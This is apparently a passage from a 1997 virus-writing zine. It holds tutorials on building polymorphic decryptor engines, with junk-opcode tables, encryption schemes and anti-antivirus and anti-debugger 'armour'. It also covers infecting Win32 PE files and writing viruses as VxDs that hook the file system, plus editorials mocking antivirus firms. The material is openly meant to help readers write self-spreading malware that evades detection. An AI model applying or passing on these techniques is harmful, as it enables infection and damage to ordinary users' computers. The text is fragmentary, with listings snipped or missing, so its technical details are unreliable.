So, what the JMP actually does is avoid the second passing across the
Ret instruction.
...
Jmp _label2
_label:
...
Ret
...
_label2:
...
Call _label
...
...
Call _label
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Creating dummy interupt calls ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Here is a list of interrupts you can insert into your code and how
they would afect registers (in brankets):
So, all you have to do is generate a Mov ah, xx and then an INT. Very
simple and very effective (most scanners die under these).
But beware, many people are tempted to use dummy calls like INT03 or
INT01. Don't do this. This is flaged by most AV's. This goes into the
Armouring section, which we'll discuss later.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Getting random registers ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
We'll talk later about the random number routine. But first let's see
how we store the order of our registers.
We have the following notations:
reg field:
~~~~~~~~~~
AX or AL - 000 = 0
CX or CL - 001 = 1
DX or DL - 010 = 2
BX or BL - 011 = 3
SP or AH - 100 = 4
BP or CH - 101 = 5
SI or DH - 110 = 6
DI or BH - 111 = 7
sreg field
~~~~~~~~~~
ES - 001 = 1
CS - 011 = 3
SS - 101 = 5
DS - 111 = 7
r/m field
~~~~~~~~~
00 - based or indexed
01 - based or indexed with a 8-bit displacement
10 - based or indexed with a 16-bit displacement
11 - two register expresion
segment overrides
~~~~~~~~~~~~~~~~~
ES - 00100110 - 26h
CS - 00101110 - 2Eh
SS - 00110110 - 36h
DS - 00111110 - 3Eh
Direction
~~~~~~~~~
If set, reg is the destination and mod is the source, otherwise it's
the other way around.
Just pick randomly one of the combinations and you'll have the
registers to use: lreg, creg, kreg.
So in a very simple way, we got our registers to use. And remember
that AX is the junk register. In the same way, you can pick the pointer
register leaving the other one as junk pointer register.
So, in order to create a 'blank' Mov reg, [si+imm] you should have:
10001001100011011000000000000000 ?
d = 1
r/m = 10
mod = 101
reg = 001
Now let's take all the instructions and look at each and everyone and
see how are they encoded. One more thing: I stated at the beginning that
I'll consider the AX the junk register because some instructions are
optimized for it. As you'll se below, being given a skeleton for an
instruction you can make it use any register. You can also make it use the
AX, even if a compiler wouldn't generate something like that. Hope you get
this...
For the first instruction (MOV) I will indicate how you can calculate
the length of the instruction in bytes. For the rest figure it out, it's
easy !
2) OR
~~~~~
1.1) OR reg, reg
3) AND
~~~~~~
1.1) AND reg, reg
4) NOT
~~~~~~
1.1) NOT reg
1111011111010, reg
5) NEG
~~~~~~
1.1) NEG reg
1111011111011, reg
6) TEST
~~~~~~~
1.1) TEST reg, reg
2) ADC
~~~~~~
1.1) ADC reg, reg
3) SUB
~~~~~~
1.1) SUB reg, reg
3) INC
~~~~~~
01000, reg16
1111111111000, reg8
4) DEC
~~~~~~
01001, reg16
1111111011001, reg8
f) Shifting instructions
~~~~~~~~~~~~~~~~~~~~~~~~
1) SHR
~~~~~~
1.1) SHR reg, 1
2) SHL
~~~~~~
1.1) SHL reg, 1
3) ROR
~~~~~~
1.1) ROR reg, 1
4) ROL
~~~~~~
1.1) ROL reg, 1
5) RCL
~~~~~~
1.1) RCL reg, 1
6) RCR
~~~~~~
1.1) RCR reg, 1
g) Flag instructions
~~~~~~~~~~~~~~~~~~~~
CLI - 11111010
STI - 11111011
CLD - 11111100
STD - 11111101
CLC - 11111000
STC - 11111001
CMC - 11110101
SAHF - 10011110
LAHF - 10011111
h) Jump instructions
~~~~~~~~~~~~~~~~~~~~
1) JMP SHORT - EBh, data8
Now, the conditional jumps (note that data8 is a 8 bit signed number;
if it's from -127 to -1 the jump is upward otherwise the jump is
downward. The jump is counted from the *END* of the jump instruction.
This means that a JE 00 is a jump to the next instruction below. A
JE 02 is a jump past the two bytes *AFTER* the jump's OpCodes)
After all these have been said, you are now able to create skeletons
for each instruction and then fill it with the proper registers and mod's
and everything.
kreg = CX = 00000001
creg = BX = 00000011
00110000 or 11000000 or
00000011 00001011
-------- --------
00110011 11001011 and we have 0011001111001011 = 33CBh
10001000 or 00000000 or
00000001 00001101
-------- --------
10001001 00001101 = 1000100100001101 = 890Dh
So, we have:
33 CB xor cx, bx
89 0D mov [di], cx
And a final word about all this stuff of coding here. I'm talking
about segment overrides. Sometimes you may want to override the memory
address with another register. This is done by inserting *before* the
entire Opcode the segment override. For example if you want to turn
MOV [DI], CX into MOV ES:[DI], CX the opcode will turn from 890Dh to 26890Dh.
You may put how many overrides you want, but only the last one will take
effect. You can use this to turn 2 byte junk instructions into three byte
junk instructions, and so on.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ The Steps ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Ok, now that we know most of the things about how a polymorphic
decryptor should look like, let's get deeper.
So we can code the entire [1] instruction with all it's variants like this:
01 FF 05 FF 01 02 FD FD FF 03 04 FD FF 05 06 FD FF 03 07 FF 03 FD FD FD FD FE
where:
* the first 01 is the instruction number
* the first 05 gives the number of variants
* FF is a mark between variants
* FE is the mark of end of all
* FD marks a junk instruction
As I said, you may insert the junks between the real code randomly.
This means you can permute the FD's between the FF's and get another code
that does the same thing.
decryptor_table:
db 01h, FFh, 05h, ...
db 02h, FFh, ...
...
db 15h, FFh, ...
This cleared up how you store the instructions. You create them
steb by step. Let's say you picked combination nr. 3 of the first
instruction. You generate it. Then you generate random junk. Then you
go onto the next instruction, and so on... Of course, before going into
this you must compute the random key, keyi, startcode and length and
associate for each a random number to junk them around like:
if length = 1000h get a random, let's say 1234h and store it like:
When you want to use the real length, just XOR again.
But still, how do you code and get all that big amount of instructions
with different sizes and everything ? Again: compress and code. Here is an
idea:
instruction_table:
aa bb c d e iiiiiiiiiiiiiiiiiiiiii
³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> = instruction skeleton
³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 1 = can be used as junk
³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 1 = but only with jreg
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 1 = can use other regs if imm=0
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> = instruction length in bytes
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> = instruction number
The bb can be for example a three bit nr. and hold something like this:
000 - instr. is always 2 bytes long
001 - instr. is 2 bytes long if r/m = 00
010 - instr. is 3 bytes long if w = 0
100 - instr. is 4 bytes long if w = 1
or something like this. Here each one of you must use your imagination
with only one purpose: Optimization ! The stored data must be as compressed
as possible and as easy to access as possible.
You should have a place with, let's say, 12 bytes, filed with 0, where
you should transfer the instruction you want to create and OR it with the
proper values there and then transfer it. This offers speed because you
always know the source of instruction.
Actually, let's look directly into the code of M.O.F. and see how
it stores it's data:
<snip here>
As you can see, the instructions are stored without any r/m, mod, or
reg field filled. In order to fill up the instructions we have a so called
'filling table' which looks like this:
n ! ? x xx xxx xxxxxxxxxxxxxxxx AA BB
³ ³ ³ ³ ³ ³ ³ ³ ³
³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄ second register
³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ first register
³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data16 (0 if not necessary) (twice)
³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mod for r/m <> 11
³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ r/m for this instr
³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ the direction
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ instruction type
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ segment override
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ instruction number
Register codification:
0000 - lreg
0001 - creg
0010 - kreg
0011 - jreg
0100 - preg
0101 - jrpg
0111 - sreg
1000 - dreg
1111 - none
push imm 01
pop reg 02
xor reg,rndm 03
As you can see there are 2 immediate values used. M.O.F handles this
in this way (downwards). The first push is done with the first data16. The
pop reg is done with the lreg and because data16_2 is not 0, the xor is
done with the second data16. If data16_2 were 0 then only the first data
was used. Hope you get it.
mov cx, n
Call random
But first of all, in order to have a really random number you should
initialize the random number generator by doing a CALL RANDOMIZE.
Warning: The routine assumes you have your Delta handler set, otherwise
make BP = 0 !!
Warning: The buffer at DS:SI must be big enough to hold the CX bytes
of code *and* the decryptor.
After the engine generated the decryptor it should return the length
of the encrypted code + the length of the decryptor.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ The unscrambling procedure ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Ok, so you wonder what is that 'CALL unscramble' I put there in the
decryptor. I could as well say <unscrambling operation>. There actually
the code held by the 'creg' register is modified using a math operation
involving the second member, the key holder, e.g. the 'kreg' register.
Encrypt ³ Decrypt
ÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ
XOR ³ XOR
ROR ³ ROL
ADD ³ SUB
AND ³ OR (here with some playing around)
ÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ
But more advanced procedures use many ways. For example, my own poly
routine (LJ_MOF - Multiple Opcode Fantasy) uses a very trivial way to
encrypt the code. It uses 4 methods and in each case the methods are put
in a random order. Then the words are encrypted each with another method,
in the given order. After each iteration the order shifts and the key is
increased. Therefore, we cannot decrypt the code by a simple math operation.
c = code to be encrypted
k = encryption key
k' = NOT k
E1 = c AND k
E2 = c AND k'
c = E1 or E2.
Check it:
EM
ÚÄÄÄÄÄÄÄÄÄÄ Host ESCÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
EM ³
Entry ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ Delta getter ³ ³
³ ³ ³
ÚÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´<Ä¿ ³
³ ³ ³ ³ ³
³ ³ virus body ³ ³ ³
³ ³ ³ ³ ³
³ ³ (poly engine) ³ ³ ³
³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄijÄ- Ä¿
³ ³ ³ ³ ³
³ ³ unscrambling routine ³ ³ ³
ÀÄ>ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ÃÄSUB All this part here must be
³ ARMOUR ³ ³ ³ generated by the polymorphic
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ engine.
³ decryptor ³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄ- Ä-
So, the host calls the virus which calls the polymorphic decryptor.
First it encounters the ARMOUR routine, then it goes into the decryptor loop
which uses the Unscrambling Routine. After that the control is passed back
to the virus.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Armouring your routines ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
From the beginning I will say that in these days you *should* work
in 386 instructions (maybe even 486). This will mess up many AV's and in
extra, imagine the possibilities: you have eight 8 bit regs, eight 16 bit
regs and eight 32 bit registers, plus some new segment registers ! New
polymorphic ways !
Second of all, armour your calls to the decryptor. This could be done
easily by removing a CALL decryptor instruction with something not so
obvious, like this:
Again, don't let the decryptor finish the code. This is followed by
many AV's. If you can't make a poly engine, at least put some junk after
your last RET.
* mov ax, sp
mov sp, 0
pop bx
mov sp, ax
* Not SP
Not SP or
* Neg SP
Neg SP
Example 1:
Example 2:
c) Make very long loops doing a very simple operation (like copying
code from a source that's the same with it's destination), and
make these loops long:
mov ds, ax
mov es, ax
mov di, si
mov cx, 0FEFEh
loop1:
movsb
loop loop1
e) Try to modify the address of INT 01, or INT 03. Then check the int
table and see if they changed. If not -> go into an infinite loop,
someone is tracing your code.
f) Hook some interrupts (like 15 or 19) and in the handler block the
keyboard (for example by copying the vector for INT 1ch into the
INY 09h place)
g) Check the PSP:0000 and if it's not CD20h or if the PSP is it's own
parent, hook the computer.
0FFFEh + 3h = 1h
Let's take two numbers. One is called 'base number' (B) and the other
'increment' (I) with the propriety:
K = B + I,
B + I > 0FFFFh
mov di, K
...
mov ax, word ptr cs:[di]
But with the numbers B and I we can change our code to this:
mov di, B
...
mov ax, word ptr cs:[di + I]
0h - 1h = 0FFFFh
k) Beware when using not very used instruction that may flag some AV's.
Like for example AAA, AAS, DAS and so on. Just don't include these in your
junk instruction table.
Ok, I'll stop here, because we are not going to make this article an
anti-debugging one. Armour your poly-decryptor how you can and let the real
code do the real tricks.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Advanced polymorphism ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ÚÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄ¿ ³
³ ³ Virus ³ ³ Empty ³ ³
³ ³ body ³ ³ space ³ ³
³ ³ ³ ³ ³ ³
³ ³ in ³ ³ in ³ ³
³ ³ memory ³ ³ memory ³ ³
³ ÀÄÄÄÄÄÄÄÄ- ÃÄÄÄÄÄÄÄÄ´ ³ ÄÄ¿
³ ³ free ³ ³ ³__ This extra space is needed for the
³ ³ space ³ ³ ³ decryptor
³ ÀÄÄÄÄÄÄÄÄ- ³ ÄÄ-
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
The poly engine will make a copy of the Virus body over the empty space:
Where '#' represents the code already encrypted using a given method.
In step 2, we move the free space somewhere random into the encrypted code.
Actually, we break the encrypted code in two parts: the upper part and the
lower part. So, we will have some suplimentar values that we should consider:
We don't need more: the free space start is at End1+1 and the second
part start is at End1+FreeSpace+1.
After this in the free space the engine will create the decryptor.
It must be able to decrypt both parts (at your choice you can encrypt them
using different methods) and then give control to a place well known
(usualy at the beginning of code). Here we must get rid of the decryptor !
So, after the 'Going Resident part' acted, the memory will look like this:
ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿
³+++++++++³ ³+++++++++³ '+' represents de decrypted code.
ÃÄÄÄÄÄÄÄÄÄ´ ³+++++++++³ We got rid of the decryptor by
³ DecrypÄ ³ ³+++++++++³ moving upwards the entire Part 2
³ tor ³ ÄÄÄÄÄÄÄÄÄ> ³+++++++++³ and make it overwrite the
ÃÄÄÄÄÄÄÄÄÄ´ ÀÄÄÄÄÄÄÄÄÄ- Decryptor.
³+++++++++³
³+++++++++³
³+++++++++³
ÀÄÄÄÄÄÄÄÄÄ-
So, the decryptor worked ! It unscrambled the code, and gave it the
control. The code went resident and rejoined his two parts becoming exactly
like the original code existed.
The main advantage of this thing is that the Call to the decryptor is
variable. It is now almost impossible for the heuristic cleaners to locate
the place of the virus and remove it, by searching for the original header
after emulating the decryptor, especialy if you use some armouring
techniques along with that.
Here are some other ideas you may use to increase the polymorphism
level of your engine:
ÚÄÄÄÄÄÄÄÄÄÄÄ¿
³ Closing ³
ÀÄÄÄÄÄÄÄÄÄÄÄ-
Many thanx go to: The Black Baron, Dark Avenger, Rock Steady, Dark Angel,
Qark, Quantum, Hellraiser, Executioner
ÚÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
³ Lord Julus - 1997 º
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Strategic Alliances? Bring 'em on, we love 'em!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Rajaat / 29A
Maybe you have read these headlines on the site of DataFellows, the home of
F-Prot Professional and F-Secure Antivirus and other products (for the cu-
rious amongst you with a browser and internet access, take a look at http:/
/www.datafellows.com). I was really glad to hear this, since I think this
Strategic Alliance can bring forth a very good Antivirus product. Both Da-
taFellows and the AVP team have good programmers, and one of the greatest
virus researchers known in the Antivirus scene. As an end user, this would
be news from heaven.
So they want to combine their engines... That's a great idea! This will be
much more tougher to defeat. There is no doubt we would like to challenge
that product, and try to circumvent it's "excellent" double engine using
scanning technique. Don't forget scanning with 2 engines will also take a-
bout double of the time it would otherwise do. That would make F-Secure An-
tivirus with CounterSign(tm) technology about twice as slow compared to
respective other antivirus products worth their money. Anyway...
I like the above paragraph a lot. I do acknowledge the fact that it is in-
deed nearly impossible for any single antivirus product to detect and pro-
tect against the new wave of viruses. So they combine their CounterSign(tm)
technology and "the two superior antivirus engines F-Prot and AVP", and
what do we get??? Again a single antivirus product!
(*) http://www.datafellows.com/news/pr/f-secure/st-alnc.htm
Rajaat / 29A
Stupid descriptions
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Rajaat / 29A
Ok, guys. It goes like this... ;-) Try to find some description of one of
your viruses on the Internet that is such an error that it is plainly visi-
ble even to people that don't understand as much about viruses as the ave-
rage 29A magazine reader is doing. Append it at the end of the text file
and send it around the rest of the people... If it's hilarious enough we
can also include people from outside 29A, but I think this is really a joke
;-) I hope you guys are in for it. Here are two sad examples of how great
the virus analysts for Symantec are...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
< Rajaat > April Fools?
(*) http://www.symantec.com/avcenter/data/rajaat.518_(1).html
VirusName:Rajaat.518 (1)
Aliases:none
Infection Length:N/A
Likelihood:rare
Regions Reported:N/A
Target Platform:
Description:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
< Rajaat > And this is what Symantec has to say about my TSR Companion
virus (companion viruses do create COM files and don't touch
the EXE files themselves).
(*) http://www.symantec.com/avcenter/data/rajaat.287.html
VirusName:Rajaat.287
Aliases:none
Infection Length:287
Likelihood:rare
Regions Reported:N/A
Target Platform:COM files
Description:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Greetings,
Rajaat / 29A
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
ÚÄ PE infection under Win32 Ä¿ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
³ by ³ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
³ Mister Sandman ³ ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
³ Jacky Qwerty ³ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÀÄÄÄÄÄÄÄÄÄÄÄ GriYo ÄÄÄÄÄÄÄÄÄÄ- ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
However, save for some exceptions, we have been fighting for over ten years
against the same operating system, the same 16-bit crap, designed and never
improved by Microsoft. That's why such a long period of time should be con-
sidered an only step, the first period of the viral existence in computers.
Now this first viral age seems to have reached its end, as well as DOS, al-
beit it will continue working in millions of computers, all over the world.
In the other hand we have Windows95 and WindowsNT (from now onwards and to-
gether with Win32s we'll call them Win32), which are being used and instal-
led in an incredibly increasing percentage of computers. We can't say Win32
will be the future and definitive OS, but it does seem it is one of the 1st
storeys the final thing is gonna be built on.
This new phase of operating systems also means a new phase of viruses which
will work and infect under these new scenarios. Win32 has become the most
used OS in less than two years, and will surely wipe out of the map many o-
ther minoritary operating systems, such as OS/2. Virus authors have reali-
sed about this fact, and that's why a new era opens at us... the second vi-
ral age or generation, a new breed of infectors... 32-bit viruses.
If you're one of those who have always dreamed about how cool would it have
been to start writing viruses around 1985, when they first appeared, but it
was too late for your dreams to become reality, now you have a second opor-
tunity to become a pioneer in the VX scene. And if you're just one of those
dorks whose only wish is to remain being nobody as one of who knows how ma-
ny thousands of DOS virus writers and can't go further than the (true) sta-
tement "Windows95 = shit"... stop reading and go code with your open menta-
lity to YAM, cause this won't be of your interest.
Before going further in this tutorial, it must remain clear for our readers
that we DO support the statement "Windows95 = shit", but proffesionality is
usually a synonym of objectivity, and that's why we have to focus it with
impartiallity. I think no intelligent human being in this world likes Win-
dows95, but it's an interesting attitude to see it just as a test 32-bit OS
in order to advance in the viral-oriented researching, without bearing in
mind how good or bad it is, or how many bugs it has.
If your intentions are to get started in the 32-bit virus age and begin co-
ding some basic PE infectors, we recommend you to have a look to other pre-
viously published sources in other virus magazines; then, come back to this
article and get some pretty useful clues about how to stay compatible :)
This tutorial will deal with "APIs: the key stone", chapter in which we try
to explain the importance of working at API level, "The KERNEL32 problem",
and "The GetModuleHandle solution", which explain one of the main problems
in the concerning about getting the base address of KERNEL32.dll, "GetProc-
Address", showing the best way to get API addresses, "Simple PE infection",
which illustrates a simpler way to infect PE files, and "Cool addings", as
a preface to another article in 29A#3, which describes some features, which
can be added to any Win32 virus in order to make it more complex.
Before stepping into the first chapter it's a honor to say that the pioneer
of these techniques, the guy who wrote the first Win32 infectors, and thus,
the one who should be known for having developed the first 32-bit viruses
is Jacky Qwerty/29A, the author of Win32.Jacky, and Win32.Cabanas. It would
be completely unfair not to mention -and even congratulate- him.
The most important thing you'll have to bear in mind while writing your 32-
bit viruses for Windows platforms is to always! use APIs. Why are APIs that
important? the answer is easy... they are the only point Windows95 and Win-
dowsNT have in common. Viruses have to look as closer as possible as normal
applications, and there are no normal applications in Win32 which don't use
APIs in order to perform its functioning. Using apparently neat tricks such
as calling interrupt 21h within a Win32 application is the worst thing your
Win32 virus can do, as it won't be able to stay compatible and besides will
be 100% dependent of the presence of DOS. While nowadays this last reason
does not represent any serious trouble, it will for sure be a pain in the
near future as DOS is about to be wiped out of our computers as soon as new
versions of Windows95 or WindowsNT are released.
Once we have assumed we're gonna work at API level, the very first necessa-
ry thing is to locate KERNEL32.dll, as it is the library which contains the
address of all the API functions we need to use in our virus. But, there is
a big problem here... the address of KERNEL32 is not fix at all. It has not
been the same in any of the known versions of Windows95 as well as for Win-
dowsNT... and this means we can't (or at least should not) assume hardcoded
values because they'd force our virus to be compatible with only one of the
Win32 platforms, and what we're looking for is just the opposite thing.
It is simple. Just don't infect PE files which don't import any function of
KERNEL32.dll (almost impossible tho), so you will make sure, every file you
infect imports something from KERNEL32.dll, so it will be possible for you
to look in the IAT for the RVA of the GetModuleHandle API, and then call it
from your code. Once having called this API by means of its RVA you'll have
the address of KERNEL32.dll waiting for you in EAX ;)
Now it's ok, you already have the address of KERNEL32.dll, but... where are
the address of the APIs you need? how will you call them? the answer is ea-
sy again... by means of another API, "GetProcAddress", which makes possible
to get the address of any API function in any given module.
Now that you have already guessed the base address of KERNEL32.dll, all you
need to do is to specify the name of the API you're looking for in that mo-
dule and call the GetProcAddress API. A table of API names and a good loop
are strongly recommended in order to save a good amount of bytes ;)
It's understood that, same as for GetModuleHandle, you need to get the RVA
of GetProcAddress in the IAT of your victims, while infecting them, because
there's no way to know it at the time you need to call it :)
This very last point of the so called "29A technique" deals with file hand-
ling in Win32 (API-based, of course) and the PE infection itself. There are
two very important things on this: file mapping in memory and attachment to
the last section declared in the PE header.
File mapping in memory is a new way of handling files Win32 platforms pro-
vide in order to make things much easier. Now you don't need to read, write
or lseek anymore. Just map any file in memory and you'll get a base address
where it has been mapped. From that base address, just reference any offset
and read from it, write into it, and do whatever you want, with no need to
lseek to any position... it's mapped in your memory :)
And the second and last point is extremely important. Before Jacky Qwerty
came up with this technique, all the Win95 viruses infected PE files by mo-
difying the PE header and inserting a new section into it, then copying the
viral body into that last section. This was very easy to detect, apart from
being a very tedious method and taking a lot of bytes in your code. The so-
lution we provide to this in our 29A technique is to update the size of the
last section of the PE file in the PE header, including the size of our vi-
rus, and then appending our code to the end of this section.
There are a lots of things which have not been mentioned in this tutotial,
albeit they are being already used and enjoyed, such as the implementation
of Structure Exception Handling (SEH), 32-bit polymorphism, and many other
cool techniques which make our Win32 viruses much more stable and robust.
These and other topics will be referenced in our next issue, where a lot of
code examples will be available to make possible to check these new tricks.
Till then, put the 29A technique in practice, and do not forget to make use
of the tools we provide to you in this issue of 29A (PEWRSEC, GETPROC, and
the 29A INC files, which are extremely useful to code your Win32 viruses).
Mister Sandman,
bring me a dream.
Virus oriented VxD writing tutorial
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
GriYo/29A
What is a VxD?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, let's go with what we're interested on. A VxD is a 32-bit code chunk
which executes in protected mode with RING-0 priviledge level. This is be-
cause they have to deal with system's resources, such as hardware devices
and installed software. I hope after reaching this point there is no doubt
about our intentions, right? it's about writing a VxD to control installed
software (of course!). To achieve this, we'll pinch the system where we can
cause more harm, the file system.
How to start
ÄÄÄÄÄÄÄÄÄÄÄÄ
Before getting on to work we must get some tools. This software is availa-
ble in the Microsoft Developer Network and a couple places more. You will
need to get your hands on them if you're interesting on writing VxDs.
Since the first viruses for Windows95 written as VxD sources started to go
around, I've found many people who look for the includes needed to compile
these sources. You will need the following files from the SDK:
- VMM.INC : in this file you can find the macros and the defines of the
Virtual Machine Manager services.
- DEBUG.INC : only if you need to debug.
- SHELL.INC : this file declares the services which provide access to ma-
ny Windows functions, such as MessageBox.
- IFS.INC and
- IFSMGR.INC: they're only necessary if we want to fuck around with the
Windows95 file system.
The include files appear in the source between the .xlist and .list direc-
trices.
Writing a VxD
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Writing a VxD is something extremely easy if we use a generic source on
which we will add our code. Let's divide the work into several stages, this
way we may install and test the virus once we've completed each stage.
First start with a generic VxD which contains the segment, VxD and control
process declares. Later add the initialization procedure in real mode which
is, as we will see, the well-known residency check. Now write the VxD ini-
tialization and file-hooking processes. And finally write the remaining VxD
procedures.
VxD segments
ÄÄÄÄÄÄÄÄÄÄÄÄ
Inside the VxD we can find five different types of segments, each of them
with its own characteristics. So as to declare these segments we can use
the following macros:
All these segments, except for _RTEXT (real mode initialization), are pro-
tected mode segments over a flat memory model. This means offsets are 32-
bit and we will have to use the "offset32" macro in all the places in which
we used "offset" before. Now CS, DS, ES and SS can't be modified, but ins-
tead we can use FS and GS.
VxD declaration
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
In order to declare our VxD we'll use the following macro:
Fuck, at first sight it looks a terrible thing, but lemme write an example,
which i'm sure will change this first impression. We'll declare a VxD named
ViRuS, which will be 1.0 version of our virus.
Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,
As you can see I haven't used the last parameters, as we ain't neither in-
terested in providing an API for other programs nor in init order (later?).
VxD-ID
ÄÄÄÄÄÄ
It is a number which lets us differ an VxD from other. This is necessary if
the VxD provides other programs an API or if it provides services to other
VxDs. In our case we'll use Undefined_Device_ID as ID.
VxD Control Procedure
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Virtual Machine Manager sends control messages to the VxD using this
procedure. This way it notifies several VxDs about certain events. Followin
our last example, our control procedure would look like this:
EndProc VxD_Control
By doing this we're declaring which procedures will run whenever certain
